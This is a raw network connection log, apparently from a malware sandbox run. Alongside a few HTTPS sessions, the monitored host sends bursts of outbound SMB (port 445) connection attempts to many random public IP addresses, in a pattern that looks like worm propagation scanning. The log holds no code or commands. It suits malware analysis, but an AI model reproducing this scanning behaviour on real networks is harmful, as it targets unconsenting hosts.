Jul 21, 2022 04:35:39.371694088 CEST	443	52365	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:39.371767998 CEST	443	52365	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:39.371840000 CEST	52365	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:39.371867895 CEST	52365	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:39.398149014 CEST	52365	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:39.398183107 CEST	443	52365	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:39.398216963 CEST	52365	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:39.398243904 CEST	52365	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:39.409095049 CEST	52370	445	192.168.2.6	219.205.113.219
Jul 21, 2022 04:35:39.486084938 CEST	52371	445	192.168.2.6	122.224.169.135
Jul 21, 2022 04:35:39.487071991 CEST	52373	445	192.168.2.6	41.12.37.177
Jul 21, 2022 04:35:39.517271042 CEST	52374	445	192.168.2.6	207.180.242.23
Jul 21, 2022 04:35:39.548562050 CEST	52375	445	192.168.2.6	181.41.108.44
Jul 21, 2022 04:35:39.549241066 CEST	52376	445	192.168.2.6	3.148.249.153
Jul 21, 2022 04:35:39.565004110 CEST	52378	445	192.168.2.6	58.118.177.131
Jul 21, 2022 04:35:39.582034111 CEST	52382	445	192.168.2.6	21.6.55.1
Jul 21, 2022 04:35:39.584346056 CEST	52385	445	192.168.2.6	136.48.131.212
Jul 21, 2022 04:35:39.585071087 CEST	52386	445	192.168.2.6	93.149.125.17
Jul 21, 2022 04:35:39.586078882 CEST	52387	445	192.168.2.6	17.25.238.59
Jul 21, 2022 04:35:39.587450981 CEST	52389	445	192.168.2.6	8.18.147.135
Jul 21, 2022 04:35:39.592312098 CEST	443	52362	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:39.592469931 CEST	52362	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:39.598977089 CEST	52362	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:39.598997116 CEST	443	52362	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:39.599404097 CEST	443	52362	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:39.603107929 CEST	52362	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:39.611399889 CEST	52391	445	192.168.2.6	120.63.244.100
Jul 21, 2022 04:35:39.612875938 CEST	52393	445	192.168.2.6	189.110.53.195
Jul 21, 2022 04:35:39.613683939 CEST	52394	445	192.168.2.6	165.153.15.114
Jul 21, 2022 04:35:39.638856888 CEST	52397	445	192.168.2.6	23.9.9.109
Jul 21, 2022 04:35:39.638864040 CEST	52396	445	192.168.2.6	109.34.3.25
Jul 21, 2022 04:35:39.639009953 CEST	52398	445	192.168.2.6	9.129.16.211
Jul 21, 2022 04:35:39.639029026 CEST	52399	445	192.168.2.6	125.138.75.252
Jul 21, 2022 04:35:39.639131069 CEST	52400	445	192.168.2.6	38.166.26.131
Jul 21, 2022 04:35:39.639147997 CEST	52401	445	192.168.2.6	176.243.41.163
Jul 21, 2022 04:35:39.639272928 CEST	52402	445	192.168.2.6	106.78.79.9
Jul 21, 2022 04:35:39.639282942 CEST	52403	445	192.168.2.6	172.233.250.28
Jul 21, 2022 04:35:39.639383078 CEST	52405	445	192.168.2.6	98.108.217.122
Jul 21, 2022 04:35:39.639420033 CEST	52404	445	192.168.2.6	96.149.233.23
Jul 21, 2022 04:35:39.639559984 CEST	52407	445	192.168.2.6	5.250.66.207
Jul 21, 2022 04:35:39.639584064 CEST	52406	445	192.168.2.6	193.134.188.98
Jul 21, 2022 04:35:39.639681101 CEST	52408	445	192.168.2.6	119.250.231.178
Jul 21, 2022 04:35:39.639691114 CEST	52409	445	192.168.2.6	105.143.34.6
Jul 21, 2022 04:35:39.644496918 CEST	443	52362	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:39.711014032 CEST	52410	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:39.711061001 CEST	443	52410	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:39.711184025 CEST	52410	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:39.714205027 CEST	52410	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:39.714231014 CEST	443	52410	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:39.858681917 CEST	443	52410	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:39.858762026 CEST	52410	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:39.859222889 CEST	52410	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:39.859232903 CEST	443	52410	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:39.862185001 CEST	52410	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:39.862198114 CEST	443	52410	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:39.927526951 CEST	443	52410	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:39.927618027 CEST	443	52410	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:39.927625895 CEST	52410	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:39.927680016 CEST	52410	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:39.941637993 CEST	443	52362	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:39.941684961 CEST	443	52362	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:39.941710949 CEST	443	52362	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:39.941858053 CEST	52362	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:39.941871881 CEST	443	52362	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:39.941890001 CEST	443	52362	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:39.941920996 CEST	443	52362	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:39.941937923 CEST	52362	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:39.941946983 CEST	443	52362	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:39.941984892 CEST	443	52362	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:39.941997051 CEST	52362	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:39.942055941 CEST	52362	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:39.942066908 CEST	443	52362	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:39.942084074 CEST	443	52362	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:39.942142963 CEST	52362	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:39.947074890 CEST	52362	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:39.947103024 CEST	443	52362	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:39.947123051 CEST	52362	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:39.947130919 CEST	443	52362	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:39.978033066 CEST	52410	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:39.978063107 CEST	443	52410	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:39.978075981 CEST	52410	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:39.978121042 CEST	52410	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:39.982857943 CEST	52414	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:39.982892990 CEST	443	52414	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:39.982990980 CEST	52414	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:39.984968901 CEST	52414	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:39.984977961 CEST	443	52414	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:40.127429962 CEST	443	52414	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:40.127547979 CEST	52414	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:40.287878990 CEST	52414	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:40.287898064 CEST	443	52414	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:40.295241117 CEST	52414	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:40.295258999 CEST	443	52414	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:40.366595030 CEST	443	52414	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:40.366678953 CEST	52414	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:40.366693974 CEST	443	52414	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:40.366708040 CEST	443	52414	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:40.366740942 CEST	52414	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:40.366767883 CEST	52414	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:40.396581888 CEST	52414	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:40.396627903 CEST	52414	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:40.396639109 CEST	443	52414	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:40.396712065 CEST	52414	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:40.423614979 CEST	52420	445	192.168.2.6	79.219.156.31
Jul 21, 2022 04:35:40.424153090 CEST	52421	445	192.168.2.6	64.165.142.39
Jul 21, 2022 04:35:40.533021927 CEST	52424	445	192.168.2.6	12.249.185.2
Jul 21, 2022 04:35:40.599085093 CEST	52425	445	192.168.2.6	72.166.243.87
Jul 21, 2022 04:35:40.600742102 CEST	52427	445	192.168.2.6	203.152.90.108
Jul 21, 2022 04:35:40.601270914 CEST	52428	445	192.168.2.6	207.180.242.24
Jul 21, 2022 04:35:40.612162113 CEST	52429	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:40.612224102 CEST	443	52429	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:40.612322092 CEST	52429	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:40.612705946 CEST	52429	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:40.612731934 CEST	443	52429	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:40.674069881 CEST	52430	445	192.168.2.6	124.191.189.224
Jul 21, 2022 04:35:40.674523115 CEST	52431	445	192.168.2.6	4.193.197.232
Jul 21, 2022 04:35:40.689605951 CEST	52433	445	192.168.2.6	92.217.120.236
Jul 21, 2022 04:35:40.707926989 CEST	52438	445	192.168.2.6	190.215.192.66
Jul 21, 2022 04:35:40.708033085 CEST	52442	445	192.168.2.6	48.208.74.13
Jul 21, 2022 04:35:40.711205959 CEST	52443	445	192.168.2.6	173.118.214.152
Jul 21, 2022 04:35:40.711210966 CEST	52445	445	192.168.2.6	118.147.84.66
Jul 21, 2022 04:35:40.711247921 CEST	52441	445	192.168.2.6	207.214.135.5
Jul 21, 2022 04:35:40.737138033 CEST	52447	445	192.168.2.6	37.16.48.150
Jul 21, 2022 04:35:40.737226963 CEST	52449	445	192.168.2.6	60.48.56.77
Jul 21, 2022 04:35:40.737260103 CEST	52448	445	192.168.2.6	23.104.60.203
Jul 21, 2022 04:35:40.751672029 CEST	52450	445	192.168.2.6	50.72.207.246
Jul 21, 2022 04:35:40.752216101 CEST	52451	445	192.168.2.6	60.9.218.77
Jul 21, 2022 04:35:40.752733946 CEST	52452	445	192.168.2.6	88.187.241.120
Jul 21, 2022 04:35:40.753233910 CEST	52453	445	192.168.2.6	19.223.251.45
Jul 21, 2022 04:35:40.753762007 CEST	52454	445	192.168.2.6	57.149.117.121
Jul 21, 2022 04:35:40.754379988 CEST	52455	445	192.168.2.6	75.204.198.129
Jul 21, 2022 04:35:40.757225037 CEST	52456	445	192.168.2.6	60.109.75.188
Jul 21, 2022 04:35:40.757496119 CEST	52457	445	192.168.2.6	110.27.43.46
Jul 21, 2022 04:35:40.757515907 CEST	52458	445	192.168.2.6	67.22.145.33
Jul 21, 2022 04:35:40.757580996 CEST	52459	445	192.168.2.6	134.98.239.185
Jul 21, 2022 04:35:40.757659912 CEST	52460	445	192.168.2.6	97.61.174.141
Jul 21, 2022 04:35:40.757705927 CEST	52461	445	192.168.2.6	117.79.237.33
Jul 21, 2022 04:35:40.757777929 CEST	52462	445	192.168.2.6	78.156.211.171
Jul 21, 2022 04:35:40.757841110 CEST	52464	445	192.168.2.6	21.51.213.25
Jul 21, 2022 04:35:41.043281078 CEST	443	52429	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:41.043468952 CEST	52429	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:41.047472954 CEST	52429	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:41.047499895 CEST	443	52429	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:41.047888994 CEST	443	52429	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:41.049449921 CEST	52429	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:41.092499971 CEST	443	52429	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:41.319638014 CEST	443	52429	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:41.319674969 CEST	443	52429	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:41.319700003 CEST	443	52429	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:41.319775105 CEST	52429	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:41.319802999 CEST	443	52429	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:41.319844007 CEST	52429	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:41.319880962 CEST	52429	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:41.319888115 CEST	443	52429	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:41.319905043 CEST	443	52429	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:41.319927931 CEST	443	52429	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:41.319968939 CEST	52429	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:41.319978952 CEST	443	52429	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:41.320007086 CEST	52429	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:41.320030928 CEST	52429	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:41.321785927 CEST	443	52429	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:41.321877956 CEST	443	52429	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:41.321885109 CEST	52429	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:41.322103024 CEST	52429	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:41.324578047 CEST	52429	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:41.324599981 CEST	443	52429	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:41.324609995 CEST	52429	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:41.324620962 CEST	443	52429	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:41.487869978 CEST	52473	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:41.487924099 CEST	443	52473	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:41.488025904 CEST	52473	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:41.488531113 CEST	52473	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:41.488547087 CEST	443	52473	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:41.533344030 CEST	52474	445	192.168.2.6	66.173.168.61
Jul 21, 2022 04:35:41.533389091 CEST	52475	445	192.168.2.6	4.249.167.84
Jul 21, 2022 04:35:41.642478943 CEST	52478	445	192.168.2.6	142.228.10.154
Jul 21, 2022 04:35:41.673842907 CEST	52479	445	192.168.2.6	207.180.242.25
Jul 21, 2022 04:35:41.721980095 CEST	52481	445	192.168.2.6	16.147.250.75
Jul 21, 2022 04:35:41.722136974 CEST	52482	445	192.168.2.6	40.116.43.57
Jul 21, 2022 04:35:41.815475941 CEST	52483	445	192.168.2.6	214.237.135.54
Jul 21, 2022 04:35:41.815561056 CEST	52485	445	192.168.2.6	109.178.42.165
Jul 21, 2022 04:35:41.818176985 CEST	52486	445	192.168.2.6	176.169.78.89
Jul 21, 2022 04:35:41.834753036 CEST	52494	445	192.168.2.6	125.30.58.150
Jul 21, 2022 04:35:41.834778070 CEST	52493	445	192.168.2.6	171.21.6.158
Jul 21, 2022 04:35:41.834882021 CEST	52495	445	192.168.2.6	209.240.127.249
Jul 21, 2022 04:35:41.835005999 CEST	52497	445	192.168.2.6	86.227.77.97
Jul 21, 2022 04:35:41.835093021 CEST	52498	445	192.168.2.6	191.116.236.197
Jul 21, 2022 04:35:41.861432076 CEST	52499	445	192.168.2.6	136.0.110.109
Jul 21, 2022 04:35:41.862171888 CEST	52500	445	192.168.2.6	105.53.40.249
Jul 21, 2022 04:35:41.864046097 CEST	52502	445	192.168.2.6	214.80.178.7
Jul 21, 2022 04:35:41.865258932 CEST	52503	445	192.168.2.6	120.175.42.71
Jul 21, 2022 04:35:41.865962029 CEST	52504	445	192.168.2.6	138.92.36.194
Jul 21, 2022 04:35:41.879961014 CEST	52505	445	192.168.2.6	196.14.57.89
Jul 21, 2022 04:35:41.883276939 CEST	52506	445	192.168.2.6	17.87.228.183
Jul 21, 2022 04:35:41.885596037 CEST	52508	445	192.168.2.6	169.155.114.63
Jul 21, 2022 04:35:41.885756969 CEST	52509	445	192.168.2.6	69.243.75.233
Jul 21, 2022 04:35:41.885895014 CEST	52510	445	192.168.2.6	74.197.201.22
Jul 21, 2022 04:35:41.886053085 CEST	52511	445	192.168.2.6	93.100.3.164
Jul 21, 2022 04:35:41.886208057 CEST	52512	445	192.168.2.6	118.22.102.235
Jul 21, 2022 04:35:41.886307001 CEST	52513	445	192.168.2.6	43.130.188.156
Jul 21, 2022 04:35:41.886399031 CEST	52514	445	192.168.2.6	3.190.76.218
Jul 21, 2022 04:35:41.886508942 CEST	52515	445	192.168.2.6	60.134.5.52
Jul 21, 2022 04:35:41.886598110 CEST	52516	445	192.168.2.6	100.198.178.211
Jul 21, 2022 04:35:41.886686087 CEST	52517	445	192.168.2.6	212.64.219.106
Jul 21, 2022 04:35:42.002754927 CEST	443	52473	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:42.003099918 CEST	52473	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:42.005630970 CEST	52473	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:42.005655050 CEST	443	52473	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:42.006047010 CEST	443	52473	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:42.008203030 CEST	52473	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:42.048506021 CEST	443	52473	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:42.184015989 CEST	445	52515	60.134.5.52	192.168.2.6
Jul 21, 2022 04:35:42.347994089 CEST	443	52473	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:42.348026991 CEST	443	52473	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:42.348047972 CEST	443	52473	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:42.348189116 CEST	52473	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:42.348217964 CEST	443	52473	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:42.348237038 CEST	443	52473	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:42.348309994 CEST	52473	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:42.348370075 CEST	52473	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:42.380722046 CEST	52473	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:42.380760908 CEST	443	52473	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:42.380779028 CEST	52473	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:42.380788088 CEST	443	52473	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:42.664314985 CEST	52527	445	192.168.2.6	47.197.65.139
Jul 21, 2022 04:35:42.664329052 CEST	52528	445	192.168.2.6	220.191.194.227
Jul 21, 2022 04:35:42.737495899 CEST	52530	445	192.168.2.6	207.180.242.26
Jul 21, 2022 04:35:42.751725912 CEST	52515	445	192.168.2.6	60.134.5.52
Jul 21, 2022 04:35:42.768290997 CEST	52532	445	192.168.2.6	98.107.223.78
Jul 21, 2022 04:35:42.769229889 CEST	445	52530	207.180.242.26	192.168.2.6
Jul 21, 2022 04:35:42.847590923 CEST	52534	445	192.168.2.6	37.76.158.136
Jul 21, 2022 04:35:42.848325014 CEST	52535	445	192.168.2.6	33.232.142.191
Jul 21, 2022 04:35:42.925023079 CEST	52538	445	192.168.2.6	96.69.6.50
Jul 21, 2022 04:35:42.925036907 CEST	52537	445	192.168.2.6	49.185.248.63
Jul 21, 2022 04:35:42.925138950 CEST	52539	445	192.168.2.6	183.184.98.5
Jul 21, 2022 04:35:42.961862087 CEST	52546	445	192.168.2.6	173.210.14.192
Jul 21, 2022 04:35:42.962606907 CEST	52547	445	192.168.2.6	133.59.29.27
Jul 21, 2022 04:35:42.963494062 CEST	52548	445	192.168.2.6	207.3.56.21
Jul 21, 2022 04:35:42.964838028 CEST	52550	445	192.168.2.6	170.22.192.81
Jul 21, 2022 04:35:42.965509892 CEST	52551	445	192.168.2.6	124.48.191.128
Jul 21, 2022 04:35:42.970874071 CEST	52552	445	192.168.2.6	3.183.216.23
Jul 21, 2022 04:35:42.971956015 CEST	52553	445	192.168.2.6	167.248.94.251
Jul 21, 2022 04:35:42.973367929 CEST	52555	445	192.168.2.6	189.117.218.164
Jul 21, 2022 04:35:42.974056005 CEST	52556	445	192.168.2.6	177.55.239.130
Jul 21, 2022 04:35:42.974731922 CEST	52557	445	192.168.2.6	120.165.245.250
Jul 21, 2022 04:35:43.018121958 CEST	52559	445	192.168.2.6	222.195.4.92
Jul 21, 2022 04:35:43.018902063 CEST	52560	445	192.168.2.6	215.95.55.178
Jul 21, 2022 04:35:43.019380093 CEST	52561	445	192.168.2.6	68.151.133.152
Jul 21, 2022 04:35:43.019568920 CEST	52562	445	192.168.2.6	88.241.166.86
Jul 21, 2022 04:35:43.019716978 CEST	52564	445	192.168.2.6	163.153.42.88
Jul 21, 2022 04:35:43.019735098 CEST	52563	445	192.168.2.6	84.148.105.240
Jul 21, 2022 04:35:43.019881010 CEST	52565	445	192.168.2.6	13.30.81.35
Jul 21, 2022 04:35:43.020030975 CEST	52566	445	192.168.2.6	143.110.82.111
Jul 21, 2022 04:35:43.020062923 CEST	52567	445	192.168.2.6	191.11.187.98
Jul 21, 2022 04:35:43.020145893 CEST	52568	445	192.168.2.6	34.91.137.15
Jul 21, 2022 04:35:43.020315886 CEST	52570	445	192.168.2.6	168.160.245.215
Jul 21, 2022 04:35:43.020462036 CEST	52571	445	192.168.2.6	141.9.147.68
Jul 21, 2022 04:35:43.049877882 CEST	445	52515	60.134.5.52	192.168.2.6
Jul 21, 2022 04:35:43.170659065 CEST	52573	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:43.170698881 CEST	443	52573	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:43.170828104 CEST	52573	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:43.171176910 CEST	52573	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:43.171185970 CEST	443	52573	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:43.360519886 CEST	52530	445	192.168.2.6	207.180.242.26
Jul 21, 2022 04:35:43.383806944 CEST	445	52530	207.180.242.26	192.168.2.6
Jul 21, 2022 04:35:43.498378992 CEST	443	52573	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:43.498473883 CEST	52573	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:43.501715899 CEST	52573	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:43.501728058 CEST	443	52573	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:43.501979113 CEST	443	52573	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:43.503452063 CEST	52573	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:43.548491001 CEST	443	52573	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:43.553002119 CEST	445	52567	191.11.187.98	192.168.2.6
Jul 21, 2022 04:35:43.718137026 CEST	443	52573	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:43.718177080 CEST	443	52573	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:43.718200922 CEST	443	52573	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:43.718306065 CEST	52573	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:43.718327045 CEST	443	52573	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:43.718343019 CEST	443	52573	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:43.718379974 CEST	443	52573	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:43.718429089 CEST	52573	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:43.718431950 CEST	443	52573	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:43.718470097 CEST	52573	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:43.718497038 CEST	52573	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:43.721380949 CEST	52573	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:43.721399069 CEST	443	52573	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:43.721417904 CEST	52573	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:43.721426010 CEST	443	52573	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:43.735542059 CEST	51627	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:43.799316883 CEST	52581	445	192.168.2.6	181.217.38.160
Jul 21, 2022 04:35:43.799318075 CEST	52582	445	192.168.2.6	91.253.29.219
Jul 21, 2022 04:35:43.815169096 CEST	52583	445	192.168.2.6	207.180.242.27
Jul 21, 2022 04:35:43.870408058 CEST	52586	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:43.870466948 CEST	443	52586	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:43.870594025 CEST	52586	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:43.871848106 CEST	52586	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:43.871872902 CEST	443	52586	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:43.893131018 CEST	52587	445	192.168.2.6	93.170.111.125
Jul 21, 2022 04:35:43.956207037 CEST	52589	445	192.168.2.6	86.242.154.119
Jul 21, 2022 04:35:43.956985950 CEST	52590	445	192.168.2.6	110.77.163.213
Jul 21, 2022 04:35:44.050064087 CEST	52591	445	192.168.2.6	161.49.50.38
Jul 21, 2022 04:35:44.050185919 CEST	52593	445	192.168.2.6	41.42.136.46
Jul 21, 2022 04:35:44.050231934 CEST	52594	445	192.168.2.6	204.147.10.27
Jul 21, 2022 04:35:44.085993052 CEST	52602	445	192.168.2.6	198.215.203.79
Jul 21, 2022 04:35:44.086772919 CEST	52603	445	192.168.2.6	191.54.19.6
Jul 21, 2022 04:35:44.087555885 CEST	52604	445	192.168.2.6	146.198.198.209
Jul 21, 2022 04:35:44.088998079 CEST	52606	445	192.168.2.6	4.111.177.251
Jul 21, 2022 04:35:44.089740992 CEST	52607	445	192.168.2.6	69.139.113.175
Jul 21, 2022 04:35:44.091073036 CEST	52609	445	192.168.2.6	146.123.234.98
Jul 21, 2022 04:35:44.096996069 CEST	52610	445	192.168.2.6	161.131.22.94
Jul 21, 2022 04:35:44.097484112 CEST	52611	445	192.168.2.6	191.140.29.156
Jul 21, 2022 04:35:44.097604036 CEST	52612	445	192.168.2.6	181.241.211.186
Jul 21, 2022 04:35:44.097712994 CEST	52613	445	192.168.2.6	2.46.128.219
Jul 21, 2022 04:35:44.131540060 CEST	52615	445	192.168.2.6	221.114.207.207
Jul 21, 2022 04:35:44.131596088 CEST	52614	445	192.168.2.6	36.238.36.74
Jul 21, 2022 04:35:44.132333994 CEST	52617	445	192.168.2.6	96.232.147.76
Jul 21, 2022 04:35:44.132354021 CEST	52616	445	192.168.2.6	52.193.202.232
Jul 21, 2022 04:35:44.132469893 CEST	52618	445	192.168.2.6	179.110.180.111
Jul 21, 2022 04:35:44.132533073 CEST	52619	445	192.168.2.6	170.32.3.128
Jul 21, 2022 04:35:44.132554054 CEST	52620	445	192.168.2.6	38.56.159.90
Jul 21, 2022 04:35:44.132682085 CEST	52621	445	192.168.2.6	41.88.65.41
Jul 21, 2022 04:35:44.132783890 CEST	52623	445	192.168.2.6	113.228.223.74
Jul 21, 2022 04:35:44.132791042 CEST	52622	445	192.168.2.6	104.90.114.241
Jul 21, 2022 04:35:44.132867098 CEST	52625	445	192.168.2.6	166.52.151.244
Jul 21, 2022 04:35:44.132965088 CEST	52626	445	192.168.2.6	211.65.217.121
Jul 21, 2022 04:35:44.391765118 CEST	443	52586	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:44.391900063 CEST	52586	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:44.404997110 CEST	52586	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:44.405033112 CEST	443	52586	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:44.405364037 CEST	443	52586	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:44.407016039 CEST	52586	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:44.453757048 CEST	443	52586	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:44.750057936 CEST	443	52586	40.125.122.176	192.168.2.6
